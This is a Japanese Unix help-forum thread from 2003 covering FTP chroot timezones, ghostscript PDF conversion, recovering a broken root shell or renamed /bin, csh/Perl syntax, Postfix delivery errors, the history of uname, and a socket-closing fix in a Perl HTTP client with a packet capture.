なぜ同じサーバなのに、FTPクライアントのみUTCで表示されたり、
アカウントによってタイムゾーンが異なって表示されたりするのでしょうか?
FTPクライアントの設定は全く同じ環境ですし、クライアントマシン自体のタイムゾーンももちろんJSTです。
/stand/sysinstall で再度タイムゾーンの設定もしました。
ntpdate コマンドで、再度時刻修正もしました。

申し訳ありませんがご教授願います。

No. 3399 # 68user 2003/11/06 (木) 19:25:38
>>3397 しんさん
> とりあえず convert コマンドでできますかね…?
> convert abc*.gif newfile.pdf
実際に試してみればできるかどうかはわかるでしょう。

convert は ghostscript に頼らないと pdf を読み書き
できないはずです。あと、複数の画像をひとつのファイルに
まとめることができるのかどうかは非常に怪しいような気が
します。

>>3398 MAX
> 新規にファイル等をアップロードすると、ファイル作成日が正しく
> JSTで表示されます。
これと
> ファイル等をアップロードした所、なぜかUTCでファイル作成日等が
> 表示されてしまいます。
これは、当然同じ FTP クライアントを使っているんですよね。
また、サーバ再起動などもしてないんですよね。

うーん、なんでしょうねぇ。/etc/login.conf の ftp-chroot や
timezone の違いですかねぇ。

No. 3400 # MAX 2003/11/07 (金) 04:40:04
>>68userさん

レスありがとうございます。
すみません、自己解決できました!

最初に作成したFTPアカウントは、/etc/ftpchroot にアカウント名を記載しておらず、
後で作成したFTPアカウントは、/etc/ftpchroot にアカウント名を記載してました。

ftpchroot すると、/etc/localtime を読まなくなるんですね。。。
この事を知らなかった為、こういう事になっていました。

お騒がせしてスミマセンでした ^^;

No. 3401 # しんさん 2003/11/07 (金) 09:32:11
ご返答ありがとうございます。
今はLINUXの環境が無いので整い次第試してみます。

すみませんが、初心者の為もう少し突っ込んだ質問をさせて下さい…。

1.LINUX上でGIFファイルをPDFファイルに変換する為には
        ghostscript を使用しなければ出来ないのですか?
2.ghostscript について知りたいので簡単で良いので説明していただけませんか?
        ※無理であれば何処か参考になる URL を教えてください。
3.convert コマンド以外の方法は何かありますか?

よろしくお願いします。m(_ _)m

No. 3402 # kon 2003/11/07 (金) 12:01:59
    初めまして。初めて書き込みします。konと言う者です。よろしくお願いします。
    早速質問なのですが、最近BSD(すいませんバージョンは分かりません)のrootログインシェルをchshコマンドで変更していたところ、ファイルの場所を間違って指定してしまったために Permission denied と出てログインできなくなってしまいました。どうすれば元に戻すことが出来るのでしょうか?どなたかアドバイスをお願いします。

No. 3403 # てんびん [E-mail] 2003/11/08 (土) 02:12:34
質問があります。とても困りました。
rootで作業中、/binを誤って別名のディレクトリに変えてしまいました。
すると、全くログインできなくなってしまいました。
復旧するにはどうすればいいのでしょう?よろしくお願いします。

No. 3404 # 68user 2003/11/08 (土) 15:58:05
>>3400 MAX
> ftpchroot すると、/etc/localtime を読まなくなるんですね。。。
わかっておられるかもしれませんが、読まないというよりは
読めない、です。

/home/ftp/ に chrootするとしたら、/home/ftp/ が / になり、
/home/ftp/etc/localtime が /etc/localtime になるわけで、
/etc/localtime を /home/ftp/etc/localtime にコピーして
おく必要があります。

>>3401 しんさん
ghostscript に関する情報は、google で調べる方が早いでしょう。

要は ps2pdf という PostScript を PDF に変換するアプリが
ghostscript に同梱されており、convert はそれを利用して
PDF を出力している、ということです。ps2pdf は直接実行する
こともできます。

>>3402 kon
シングルユーザモードで起動してシェルを元に戻すしかないと
思います。もしマシンがリモートにあるなら、手の出しようが
ないです。

あるいは一般ユーザでログインし、root 権限を奪取するような
脆弱性を突くとか。

>>3403 てんびん
別のメディアからブートして /bin を元に戻してください。

FreeBSD なら fixit フロッピーでブート。Solaris なら
    http://sdc.sun.co.jp/solaris/solaris2-faq/Q5.47.html
など。

No. 3405 # yuu [E-mail] 2003/11/09 (日) 04:21:20
初めて書き込みをしますyuuといいます、どうぞよろしくお願いします。
ここのページを見て、ネットワークプログラムを勉強しようとしているのですが、どうもfork関数を使ったサーバと、select関数を使ったサーバの違いが理解できないでいます、なにぶんまったくの初心者なので・・・もしよろしかったら教えていただけないでしょうか?

No. 3406 # 68user 2003/11/09 (日) 19:49:34
>>3405 yuu
http://x68000.startshop.co.jp/~68user/net/echo-3.html
http://x68000.startshop.co.jp/~68user/net/echo-4.html
を読んでください。

これでわからないなら、
    「自分はこのように理解しているが、この部分の違いが
        わからない」
という書き方をしてください。

No. 3407 # てんびん 2003/11/09 (日) 23:56:36
>>3404 68user
CDROMから起動し、/binに戻すことができました。
どうもありがとうございました。

No. 3408 # doronjo 2003/11/10 (月) 16:55:28
if ( $BS_FLG == "1")の中の『==』はどういう意味でしょうか

No. 3409 # 68user 2003/11/10 (月) 18:11:20
>>3408 doronjo
$BS_FLG の内容が 1 ならば、ということです。

No. 3410 # doronjo 2003/11/11 (火) 08:48:10
if文の"="と"=="の違いを教えて下さい。

No. 3411 # 68user 2003/11/11 (火) 09:44:33
どこまでこんがらがるか楽しみなのでお付き合いします。

> if文の"="と"=="の違いを教えて下さい。
言語名が書いてないので
        if ( $BS_FLG == "1")
と書くことのできる言語を想像すると、わたしの脳内では
csh と perl が候補にあがりました。

csh では if ( $BS_FLG = "1" ) はエラー。
if ( $BS_FLG == "1" ) は文字列として比較。
# ただし試したのは FreeBSD の csh なので、実質 tcsh ですね。

perl では if ( $BS_FLG = "1" ) は代入文扱いされ、常に真。
-w オプションを付けると「== と書け」と怒られます。
if ( $BS_FLG == "1" ) は数値として比較でした。

No. 3412 # doronjo 2003/11/11 (火) 10:00:53
ちょこちょこ何度もすみません。
またif文なんですが、
if ( -z zbwsy200.csv ) then の"-z"の意味と、ほかのif文で"&&"とありますがこれはandと同じ意味ですか

No. 3413 # 68user 2003/11/11 (火) 14:11:10
>>3412 doronjo
then ってことはおそらく csh なので、csh のマニュアルを
読んでください。

man csh で読めます。

No. 3414 # doronjo 2003/11/12 (水) 11:26:40
ありがとうございました。
cshの本をいいのがないか本屋で探しているんですが見つかりません。
いい本知ってましたら教えていただけないでしょうか。
(特にif文が詳しく載っている物)

No. 3415 # ふくし [E-mail] 2003/11/14 (金) 14:17:01
いつもすいません。
KNOPPIX(Debian ベース、unstable)でサーバーを立て、
Postfix を入れましたが、メールが受信できません。
(前はできていたが、何らかのきっかけでできなくなった)

Nov 13 22:52:10 myserver postfix/smtp[747]: 32C741384AD: to=<me@myserver>, relay=none, delay=27294, status=deferred (Name service error for myserver: Host not found, try again)

メールをくれた人のサーバーも自分も無事 dig できます。
/var/spool/postfix/etc/resolv.conf も最新です。
/etc/postfix/master.cf で chroot は全部 n です。

/etc/postfix/main.cf はこんな感じです。
# see /usr/share/postfix/main.cf.dist for a commented, fuller
# version of this file.

# added by suggestion (fukushi)
myhostname=myserver.mydomein
alias_maps=hash:/etc/aliases
alias_database=$aliase_maps

# Do not change these directory settings - they are critical to Postfix
# operation.
command_directory = /usr/sbin
daemon_directory = /usr/lib/postfix
program_directory = /usr/lib/postfix

smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)
setgid_group = postdrop
biff = no

# appending .domain is the MUA's job.
append_dot_mydomain = no


home_mailbox=Maildir/

allow_mail_to_commands=alias,forward,include
ignore_mx_lookup_error = yes

メーラーは Mew ですが、
ログインしたら you have mail じたいでないので
postfix が悪いのかと・・・
思ってたら
/var/spool/postfix/deferred
に着いたメールがたまってました。

何かお分かりでしたらご教示願います。

No. 3416 # ふくし [E-mail] 2003/11/14 (金) 16:00:05
自己レスです。
読めないと騒いでいたのは同じ社内の Windows クライアントから
Outlook で同じ社内の Exchange Server を使って出したメール
なのだが、

me@myserver

ではだめで、

me@myserver.domain

でFQDN名で指定しないとダメでした。
おさわがせしました。

No. 3417 # 68user 2003/11/18 (火) 05:45:57
UNIX の部屋
    http://x68000.startshop.co.jp/~68user/unix/
を更新しました。

No. 3418 # 初心者 2003/11/23 (日) 01:34:51
はじめまして。UNIXのコピー(?)というかフリーソフト
が欲しいんですけど、配られてるところ(URL)を
教えてくれませんか??

No. 3419 # 68user 2003/11/23 (日) 02:26:43
>>3418 初心者
OS はなんですか? (FreeBSD 4.8 とか Solaris 8 とか RedHat Linux 9
とか Debian GNU/Linux 3.0 とか)

No. 3420 # yoshi 2003/11/23 (日) 02:49:54
こんにちは、以前質問させて頂きましたyoshiと申します。

unameコマンドについて質問なのですが、
このコマンドの語源は何なのでしょうか?

他のコマンドは大体英単語を捩った物が多いと思うのですが、
このコマンドだけ、"u"の意味が良く分からないもので・・・。

ご存知の方いらっしゃいましたら、ご教授願います。

No. 3421 # 68user 2003/11/23 (日) 05:12:12
>>3420 yoshi
> unameコマンドについて質問なのですが、
> このコマンドの語源は何なのでしょうか?
FreeBSD 5.1-RELEASE の uname(1) には
        http://www.freebsd.org/cgi/man.cgi?query=uname&manpath=FreeBSD+5.1-RELEASE&format=html
            HISTORY
                The uname command appeared in PWB UNIX.
とあります。

PWB (Programmers Work Bench) UNIX の位置付けは
        http://www.levenez.com/unix/history.html
をどうぞ。簡単に言うと V6 UNIX から分岐し、SVR3 に統合された古代の
UNIX です。

# ちなみに他の OS のマニュアルにはたいしたことは書いてありませんでした。

で、古代の UNIX と言えば、SCO が公開した V6 や V7 のソース
        http://minnie.tuhs.org/TUHS/archive_sites.html
をあたってみるべきです。そこをつらつらと眺めると…おぉ、そのもの
ずばり PWB という文字を発見。
        http://www.tribug.org/pub/tuhs/PDP-11/Distributions/usdl/bostic_pwb.tar.gz

早速展開してみると、マニュアルがありました。
        % find . -name uname\*
        ./pwb.5/pwb.2/usr/man/man1/uname.1
        ./pwb.5/pwb.2/usr/man/man2/uname.2

uname.1 の中身は以下の通り。
        % cat ./pwb.5/pwb.2/usr/man/man1/uname.1
        .th UNAME I 5/31/77
        .sh NAME
        uname \*- print name of current UNIX
        .sh SYNOPSIS
        .ft B
        uname
        .ft R
        .sh DESCRIPTION
        .it Uname
        prints the current name of UNIX on the standard output file.
        It is mainly useful to determine what system one is using.
        .sh "SEE ALSO"
        uname(II)

PWB で拡張されたシステムコールらしきソースをみると、以下のように
なっています。

        ./pwb.5/pwb.2/sys/sys/os/pwbsys.c
                pwbsys()
                {
                                extern uchar;
                                register i;
                                register *p;
                                register struct buf *bp;

                                switch(u.u_arg[0]) {
                case 0: /* uname */
                                if (copyout(&pwbname, u.u_ar0[R0], 8))
                                                u.u_error = EFAULT;
                                return;

つまり uname(2) は pwbname を返しているだけ。その pwbname は
        char pwbname[9] "pwbname";
と定義されていました。

uname(2) のマニュアルには (以下、FreeBSD の nroff に喰わせた出力)

        uname get name of current PWB/UNIX
        (pwbsys = 57.; uname = 0)
        (pointer to name in r0)

        returns in the 8 byte character name of the current PWB/UNIX.
        The name is not null-terminated. By convention, the name is of
        the form pwb?date. For example, pwba0401 would indicate that
        this is PWB/UNIX System A and that its operating system was last
        modified on April 1. This function is kept in the library. un-
        ame(I) The error bit(c-bit) is set if can not be written. From
        C, a 1 return indicates an error.

とありますので、リリース時は pwbname で、バージョンアップ時に
pwba0401 などと書き換えてからコンパイルすることを意図したもの
だったようです。


というわけで、今日のトリビア:

        uname の u は … UNIX の U である。
        uname(2) は … 昔は uname(II) と書いていた。

補足トリビア:

        当然 clri(8) は clri(VIII) である。

No. 3422 # yoshi 2003/11/23 (日) 19:29:46
>>3421 68user

回答有難う御座いました!
お蔭様で、unameコマンドの語源を理解する事が出来ました。

調べるというのは、こういう事を言うのだなぁと目から鱗な心境です。
私もいつか68userさんの様に、自力で調べられる様に頑張りたいと思います。

No. 3423 # 初心者 2003/11/23 (日) 23:47:30
>>3419 68user
あまりよく分からないんですけどBSD系(?)がほしいです(^^;

No. 3424 # George 2003/11/25 (火) 19:34:48
はじめまして。Perlのネットワークプログラミングに際し、大変重宝させていただいております。

http://x68000.startshop.co.jp/~68user/net/http-parallel-1.html
の"HTTPの並行アクセス"スクリプトについて、ちょっと気になる点がありましたので書かせていただきます。

読み込みが終了したソケットについて

$selecter->remove($sock); # select の対象から外す

として、セレクタから外すだけになっていますが、外した後で

$sock->close;

としてソケットを閉じたほうがいいんじゃないでしょうか?

そうしないと、すべてのデータの転送が完了しスクリプトが終了するまで、全ソケットが開きっぱなしになってしまうように思うのですが。

もし、ソケットを一つ一つ閉じる必要がないのでしたら、その理由を教えていただきたいです。

No. 3425 # 68user 2003/11/26 (水) 01:04:43
>>3243 ひろ
UNIX 的 OS を欲しいのか、UNIX 上で動作するソフトウェアが
欲しいのかわからなかったのですが、とりあえず前者とすると、
以下の URL などがよろしいのではないかと。
      FreeBSD
          http://www.jp.freebsd.org/www.FreeBSD.org/doc/ja_JP.eucJP/books/handbook/install.html
          http://www.h4.dion.ne.jp/~katsuwo/index.html
      NetBSD
          http://www.jp.netbsd.org/ja/Releases/
      OpenBSD
          http://www.jp.openbsd.org/faq/faq4.html

>>3424 George
> $sock->close;
> としてソケットを閉じたほうがいいんじゃないでしょうか?
ごもっともです。修正しましたのでご確認ください。

> すべてのデータの転送が完了しスクリプトが終了するまで、
> 全ソケットが開きっぱなしになってしまうように思うのですが。
その通りですね。正確に言うと、
      スクリプトが終了するまでクライアント側は CLOSE_WAIT のまま、
      サーバ側は TIME_WAIT のままになってしまう
ですね。

…と思ったら、close しなくてもクライアントが FIN を送っている
場合もあるようです。
      http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/sample/http-client-parallel.pl?rev=1.2
は close していないので、最後にまとめてクライアントが FIN を
送っているかと思ったのですが、途中で FIN を送っています (★ の部分)。
なぜだろう。

    # tethereal -n
    0.000000 192.168.1.11 -> 133.8.2.33 DNS Standard query A www.goo.ne.jp
    0.021875 133.8.2.33 -> 192.168.1.11 DNS Standard query response A 210.150.25.37
    0.022862 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [SYN] Seq=1244798117 Ack=0 Win=57344 Len=0
    0.036368 210.150.25.37 -> 192.168.1.11 TCP 80 > 1515 [SYN, ACK] Seq=4071082836 Ack=1244798118 Win=5792 Len=0
    0.036411 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798118 Ack=4071082837 Win=57482 Len=0
    0.036763 192.168.1.11 -> 210.150.25.37 HTTP GET / HTTP/1.0
    0.037493 192.168.1.11 -> 133.8.2.33 DNS Standard query A www.yahoo.co.jp
    0.049007 210.150.25.37 -> 192.168.1.11 TCP 80 > 1515 [ACK] Seq=4071082837 Ack=1244798134 Win=5792 Len=0
    0.049052 192.168.1.11 -> 210.150.25.37 HTTP Continuation
    0.057874 133.8.2.33 -> 192.168.1.11 DNS Standard query response A 203.141.35.113 A 210.81.150.5 A 202.229.198.216
    0.058447 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [SYN] Seq=830980655 Ack=0 Win=57344 Len=0
    0.061073 210.150.25.37 -> 192.168.1.11 TCP 80 > 1515 [ACK] Seq=4071082837 Ack=1244798160 Win=5792 Len=0
    0.088037 210.150.25.37 -> 192.168.1.11 HTTP HTTP/1.1 200 OK
    0.088665 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.088688 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071085641 Win=54678 Len=0
    0.102552 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.103180 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.103199 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071088445 Win=51874 Len=0
    0.103815 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.105548 203.141.35.113 -> 192.168.1.11 TCP 80 > 1516 [SYN, ACK] Seq=1395064875 Ack=830980656 Win=65535 Len=0
    0.105566 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980656 Ack=1395064876 Win=57482 Len=0
    0.105937 192.168.1.11 -> 203.141.35.113 HTTP GET / HTTP/1.0
    0.106691 192.168.1.11 -> 133.8.2.33 DNS Standard query A www.asahi.com
    0.117698 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.117743 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071091249 Win=49070 Len=0
    0.118337 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.119744 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.119759 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071094053 Win=46266 Len=0
    0.128571 133.8.2.33 -> 192.168.1.11 DNS Standard query response CNAME mf3.asahi.com A 210.173.168.48
    0.129171 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [SYN] Seq=286646349 Ack=0 Win=57344 Len=0
    0.131878 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.132505 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.132524 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071096857 Win=43462 Len=0
    0.133124 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.134528 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.134543 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071099661 Win=40658 Len=0
    0.135144 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.136529 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.136550 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071102465 Win=37854 Len=0
    0.140743 210.173.168.48 -> 192.168.1.11 TCP 80 > 1517 [SYN, ACK] Seq=2302041965 Ack=286646350 Win=8767 Len=0
    0.140767 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646350 Ack=2302041966 Win=57974 Len=0
    0.141054 192.168.1.11 -> 210.173.168.48 HTTP GET / HTTP/1.0
    0.141407 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071102465 Win=41950 Len=0
    0.143290 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071102465 Win=46046 Len=0
    0.143673 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071102465 Win=50142 Len=0
    0.143868 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071102465 Win=54238 Len=0
    0.144062 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071102465 Win=57482 Len=0
    0.147471 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.148088 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.148139 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071105269 Win=56080 Len=0
    0.148713 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.148817 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071106671 Win=57482 Len=0
    0.150165 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.151563 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.151615 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071109475 Win=56080 Len=0
    0.152194 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.153553 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.153603 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071112044 Win=54913 Len=0
    0.154219 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.155605 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.155627 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071114848 Win=52109 Len=0
    0.155939 210.173.168.48 -> 192.168.1.11 TCP 80 > 1517 [ACK] Seq=2302041966 Ack=286646366 Win=33221 Len=0
    0.155970 192.168.1.11 -> 210.173.168.48 HTTP Continuation
    0.158143 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071114848 Win=56205 Len=0
    0.164042 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.164676 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.164701 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071117652 Win=56080 Len=0
    0.165306 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.165407 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071119054 Win=57482 Len=0
    0.166710 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.168113 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.168134 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071121858 Win=56080 Len=0
    0.168750 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.168851 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071123260 Win=57482 Len=0
    0.170143 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.171551 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.171596 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071126064 Win=56080 Len=0
    0.171881 210.173.168.48 -> 192.168.1.11 TCP 80 > 1517 [ACK] Seq=2302041966 Ack=286646392 Win=33229 Len=0
    0.173514 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.173630 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071127466 Win=57482 Len=0
    0.174146 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.175384 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.175412 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071129502 Win=56848 Len=0
    0.175904 210.173.168.48 -> 192.168.1.11 HTTP HTTP/1.1 200 OK
    0.177488 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.178123 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.178173 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071132306 Win=56080 Len=0
    0.178749 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.178853 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071133708 Win=57482 Len=0
    0.180158 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.181557 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.181610 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071136512 Win=56080 Len=0
    0.182194 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.182321 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071137914 Win=57482 Len=0
    0.183582 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.184982 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.185024 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071140718 Win=54678 Len=0
    0.185560 210.150.25.37 -> 192.168.1.11 HTTP Continuation
    0.185590 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071141836 Win=53561 Len=0
    0.187683 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [ACK] Seq=1244798160 Ack=4071141836 Win=57482 Len=0
    0.250874 203.141.35.113 -> 192.168.1.11 TCP 80 > 1516 [ACK] Seq=1395064876 Ack=830980672 Win=32939 Len=0
    0.250973 192.168.1.11 -> 203.141.35.113 HTTP Continuation
    0.269692 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302042221 Win=57974 Len=0
    0.282256 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.282646 192.168.1.11 -> 210.150.25.37 TCP 1515 > 80 [FIN, ACK] Seq=1244798160 Ack=4071141836 Win=57482 Len=0 ★
    0.282841 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.282862 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302045049 Win=56560 Len=0
    0.296511 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.296865 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302046463 Win=57974 Len=0
    0.297081 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.297650 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.297676 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302049291 Win=55146 Len=0
    0.298737 210.150.25.37 -> 192.168.1.11 TCP 80 > 1515 [ACK] Seq=4071141836 Ack=1244798161 Win=5792 Len=0
    0.300072 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302049291 Win=57974 Len=0
    0.304631 203.141.35.113 -> 192.168.1.11 HTTP HTTP/1.1 200 OK
    0.305360 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.305414 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980700 Ack=1395067680 Win=56080 Len=0
    0.306088 203.141.35.113 -> 192.168.1.11 HTTP Continuation
    0.306190 192.168.1.11 -> 203.141.35.113 TCP 1516 > 80 [ACK] Seq=830980700 Ack=1395069082 Win=57482 Len=0
    0.310105 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.310686 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.310712 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302052119 Win=56560 Len=0
    0.312365 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.312466 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302053533 Win=57974 Len=0
    0.312940 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.314229 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.314250 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302056361 Win=56560 Len=0
    0.323278 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.323656 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302057775 Win=57974 Len=0
    0.323846 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.324419 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.324446 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302060603 Win=56560 Len=0
    0.325721 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.325821 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302062017 Win=57974 Len=0
    0.327029 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.328325 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.328347 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302064845 Win=56560 Len=0
    0.328904 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.330194 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.330221 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302067673 Win=53732 Len=0
    0.332620 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302067673 Win=57828 Len=0
    0.337018 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.337585 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.337636 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302070501 Win=56560 Len=0
    0.338157 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.338260 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302071915 Win=57974 Len=0
    0.339466 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.340760 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.340783 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302074743 Win=56560 Len=0
    0.341338 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.341437 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302076157 Win=57974 Len=0
    0.342637 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.343937 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.343958 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302078985 Win=56560 Len=0
    0.344512 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.344613 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302080399 Win=57974 Len=0
    0.345803 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.347099 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.347121 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302083227 Win=56560 Len=0
    0.347680 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.347795 192.168.1.11 -> 210.173.168.48 TCP 1517 > 80 [ACK] Seq=286646392 Ack=2302084641 Win=57974 Len=0
    0.348975 210.173.168.48 -> 192.168.1.11 HTTP Continuation
    0.350554 210.173.168.48 -> 192.168.1.11 HTTP Continuation
